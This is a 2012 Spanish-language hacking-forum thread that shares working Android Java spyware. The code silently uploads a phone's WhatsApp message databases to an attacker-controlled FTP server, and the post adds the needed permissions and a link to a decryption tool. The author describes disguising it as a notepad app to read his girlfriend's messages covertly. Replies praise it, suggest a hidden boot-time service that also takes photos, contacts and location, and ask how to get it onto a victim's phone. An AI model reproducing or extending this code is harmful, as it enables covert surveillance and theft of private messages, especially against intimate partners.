Test Foro de elhacker.net SMF 2.1

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: minuf en 6 Agosto 2012, 01:50 AM

Título: Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp
Publicado por: minuf en 6 Agosto 2012, 01:50 AM
Con esto pretendo hacer mas fácil el trabajo a gente que se vea en mi misma situación o en otra parecida. Quiero aclarar las personas que usen el siguiente codigo lo haran totalmente bajo su responsabilidad.

Pues bien, al turrón:

El Spyware se trata de una pequeña aplicación para android que "coge prestados" los archivos msgstore.db.crypt almacenados en la carpeta del whatsapp/databases.
Posteriormente envía  dichos archivos a una servidor FTP, yo he utilizado un servidor público y ha subido toda la base de datos del whatsapp funcionado a la perfección.

Pues bien, tras conseguir dichos archivos tan solo queda utilizar la herramienta escrita en python para descifrar dichos archivos, la cual podemos descargar desde esta misma página.
http://ns2.elhacker.net/Whatsapp_Xtract_V2.1_2012-05-07.zip

1- Para realizar la aplicación lo que haremos será utilizar la librería java commons.net que nos proporcionará los métodos necesarios para establecer un cliente y conectarnos a un servidor ftp.
Para añadir la libreria a nuestro proyecto debemos descargarla de aqui:
http://commons.apache.org/net/download_net.cgi
y posteriormente desde eclipse, click derecho sobre nuestro proyecto, build path y le damos a add external jars, donde añadiremos los .jar de la libreria descargada.


2- Posteriormente crearemos un flujo de entrada desde los archivos que deseamos coger del dispositivo android, en este caso todos los msgstore.db.crypt que hayan en la carpeta whatsapp/databases, y añadirlos a nuestra carpeta en el servidor ftp.

3- Por último tendremos que crear un nuevo hilo de ejecución y instanciar la clase donde tengamos todo lo del punto 1 y 2. Este nuevo hilo de ejecución es necesario para poder realizar este tipo de conexiones en android.
Código (java) [Seleccionar]

import java.io.*;
import java.net.InetAddress;
import java.net.SocketException;
import java.net.URL;
import java.net.URLConnection;
import java.nio.channels.FileChannel;
import org.apache.commons.net.ftp.FTP;
import org.apache.commons.net.ftp.FTPClient;
import android.os.Environment;
import android.util.Log;

public class FtpCon {

public FtpCon() throws SocketException, IOException {

 try {
 FTPClient mFTPClient = new FTPClient();
 mFTPClient.connect("direccion del servidor", 21);      
 mFTPClient.login("nombreUsuario","contraseña");
 mFTPClient.enterLocalPassiveMode();
 mFTPClient.changeWorkingDirectory("directorio ftp para trabajar");
 
 mFTPClient.setFileType(FTPClient.BINARY_FILE_TYPE);// este metodo "setTypeFile(BINARY_FILE_TYPE)" es muy importante para que el archivo se envie correctamente
 Log.d("Working Directory", mFTPClient.printWorkingDirectory());

                         String estado = Environment.getExternalStorageState();
if (!estado.equals(Environment.MEDIA_MOUNTED)) {
Log.d("Error", "No hay almacenamiento externo montado");
} else {
                                       File externalDir = Environment.getExternalStorageDirectory();
File ruta = new File(externalDir.getAbsolutePath()+File.separator+"WhatsApp"+File.separator+"Databases");
String [] filenames = ruta.list();
if (filenames != null) {
for (int i = 0; i< filenames.length; i++) {
try {  

InputStream is = new FileInputStream(ruta+File.separator+filenames[i]);

mFTPClient.storeFile("msgstore.db.crypt"+i, is);
                                                      } catch (IOException e) {
Log.d("Error", "Se ha producido un error! "+e.getMessage());
}

}
}

                               mFTPClient.logout();
                                       Log.d("OK", "Enviado con exito");
 } catch (IOException e) {
 Log.d(":(", e.getMessage());  
 }
        }
  }


Tan solo tenemos que poner la dirección del servidor, el nombre de usuario, la contraseña y la carpeta con la que queremos trabajar en nuestro servidor.

Para que esto funcione, creamos una aplicacion sencilla en android que por ejemplo tenga un botón, y que al pulsar ese boton se ejecute el código anterior, tal y como está escrito a mi me ha funcionado sin problemas, bueno a parte de los problemas que me está causando el leer los mensajes del whatsapp de mi novia..toda una decepción, y como consejo si alguien quiere utilizarlo con este mismo fin, mucho cuidado porque seguro que veis cosa que desearíais no haber visto!

Bueno retomando el tema y para ir finalizando: el pequeño trozo de código que he utilizado para crear un nuevo hilo de ejecución y instanciar la clase FtpCon. Este código lo he metido dentro del método onClick() que le he asignado a un botón que he puesto en medio de la pantalla, pero podeis ponerlo donde querais, siempre y cuando se vaya a ejecutar, exceptuando en el merodo onCreate().
Código (java) [Seleccionar]

new Thread(new Runnable() {
    public void run() {
    try {
FtpCon con = new FtpCon();
} catch (SocketException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}    
    }
   }).start();

Bueno espero que esto os sirva de ayuda a todos aquellos que lo necesiteis. Un Saludo! >:D


Título: Re: Spyware - codigo app android para "tomar prestado" msgstore.db.crypt
Publicado por: minuf en 6 Agosto 2012, 20:32 PM
Se me olvidaba comentar los permisos en android. No olvideis añadirlos al manifest.xml para poder acceder a internet y a la sdcard.

<uses-permission android:name="android.permission.INTERNET"/>
   <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
Título: Re: Spyware - codigo app android para "tomar prestado" msgstore.db.crypt
Publicado por: Karcrack en 7 Agosto 2012, 12:59 PM
Buen código, gracias por compartir :D

PS: Añado Geshi a tus códigos.
Título: Re: Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp
Publicado por: Иōҳ en 13 Agosto 2012, 22:29 PM
Todo lo que hace algo de motivación (saber que hace/manda la novia por whatsapp).

Gracias eh!!!
Saludos,
Nox.
Título: Re: Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp
Publicado por: valdomero en 14 Septiembre 2012, 10:33 AM
Hola. Interesantisimo script para android. Tengo muchas dudas sobre como utilizar ese código ya que no tengo ni idea de programación. Supongo que habrá que saber programar aplicaciones con android para meter en los programas esos códigos.
Como veis estoy muy verde aún pero a ver si me dais alguna orientación por donde empezar. Cualquier idea será buena
Saludos
Título: Re: Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp
Publicado por: braulio-- en 15 Septiembre 2012, 15:02 PM
Sin saber programar lo vas a tener muy difícil para conseguir usar ese código.

Si de verdad estás interesado te pondría los siguientes pasos:
Pero solo si estás realmente interesado. Si lo único que quieres hacer es espiarle los mensajes a alguien, no te merece la pena.
Título: Re: Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp
Publicado por: valdomero en 15 Septiembre 2012, 16:39 PM
Gracias Braulio por tus orientaciones y consejos. Saludos
Título: Re: Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp
Publicado por: h3ct0r en 2 Octubre 2012, 16:58 PM
hola minuf,

En tu implementacion como haces para que la victima ejecute tu programa? Por que como dices, la app solo envía los archivos al ftp cuando pulsas el botón.

O tu lo ejecutas cuando tu novia esta mirando para otro lado y luego le devuelves el teléfono para luego revisarlos con mas calma en tu server?

Creo que seria bien idearse un servicio que se quede rodando desde el inicio del telefono y que cuando existan X kb modificados en los archivos los suba al servidor ftp.
Título: Re: Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp
Publicado por: minuf en 8 Octubre 2012, 09:14 AM
hola h3ct0r,

En respuesta a tu pregunta decirte que tienes toda la razon. Mi intencion era crear una app "util" que ejecute un servicio al inicio para hacer todo esto sin tener que interactuar el usuario. Y que este servicio ademas de "coger prestada" la base de datos del wasap fuese capaz de coger otra informacion como las fotos, agenda de telefonos, localizacion, etc...
Por otra parte la impaciencia me hizo apresurarme y cuando vi que el codigo funcionaba y que podia leer los wasaps de mi novia deje de pensar en todo lo demas.

En cuanto a la pregunta de si miraba para otro lado mientras le daba al boton, cabe aclarar que puse lo del boton como algo generico, lo cierto es que hice un pequeño bloc de notas y le asigne la ejecucion del sript a un EditText, en lugar de un boton, por lo que solo con querer escribir una nota ya esta todo echo, no hace falta darle a ningun boton.
En cuanto le enseñé el bloc de notas a mi "ahora ex", no me hizo falta ni explicarle como funcionaba..lo quería ya...!!
Si hubiese tenido la opcion de ver su movil y que ella mirara pa otro lado, hubiera leido su whatsapp directamente.

Creo que el script que he utilizado se puede mejorar muchisimo en funcion de las necesiidades que tenga cada persona (segun lo que quieras robar y durante cuanto tiempo), mas adelante lo volvere a subir mucho mas limpio y con mas funcionalidad.

Y recordad una cosa, si el rio suena es porque agua lleva. Si teneis tantas dudas de vuestra pareja como para hacer algo asi, mi consejo es que no lo hagais. Mejor vivir en la ignorancia, si quiere estar con otro, que esté. Cuantos menos detalles sepamos...mejor!

Un saludo!
Título: Re: Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp
Publicado por: h3ct0r en 8 Octubre 2012, 14:47 PM
Cita de: minuf en  8 Octubre 2012, 09:14 AM
Y recordad una cosa, si el rio suena es porque agua lleva. Si teneis tantas dudas de vuestra pareja como para hacer algo asi, mi consejo es que no lo hagais. Mejor vivir en la ignorancia, si quiere estar con otro, que esté. Cuantos menos detalles sepamos...mejor!

Muy acertado tu comentario minuf, la verdad es que si tu mujer te monta los cuernos, pues mala suerte , ya te enteraras y te buscaras a otra. No hay por que mermar la libertad de nadie ni andar de celoso pregunton, la verdad siempre se llega a saber.

Con respecto al programa, me parece bien gracioso lo del block de notas, casi un malware ese block. Muy buena la idea! jejeje

Estamos esperando la nueva versión de la app!  :P
Título: Re: Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp
Publicado por: trenchoman en 8 Octubre 2012, 20:01 PM
Excelente idea!! Me quede con dos dudas:

1- En que parte del codigo indicas a la persona que le vas a tomar prestado el database del whatsapp?
2-Se podrá crear un apk que realize este proceso?

Saludos
Título: Re: Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp
Publicado por: atauz en 24 Octubre 2012, 16:16 PM
Me interesa... Buen trabajo!
Título: Re: Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp
Publicado por: atauz en 4 Noviembre 2012, 12:53 PM
Al autor, el codigo lo vas a descontinuar o vas a seguir puliendolo? Gracias de nuevo. :huh:
Título: Re: Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp
Publicado por: CarlosFl0r3s en 13 Noviembre 2012, 23:41 PM
Cómo metes la aplicación en el teléfono del cual quieres extraer la base de datos? No tengo acceso al teléfono pues es un Iphone con clave.
Gracias,
Título: Re: Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp
Publicado por: pira8990 en 12 Abril 2013, 17:14 PM
También seria bueno que  intentarais explicarlo mejor para los mas novatos porque tanto código y no saber que hacer con el ni comentarios para poder cogerlo por algún sitio complicado lo llevamos, sube la aplicación y aunque sea de pago a mucha gente le interesaaaaa!!!!!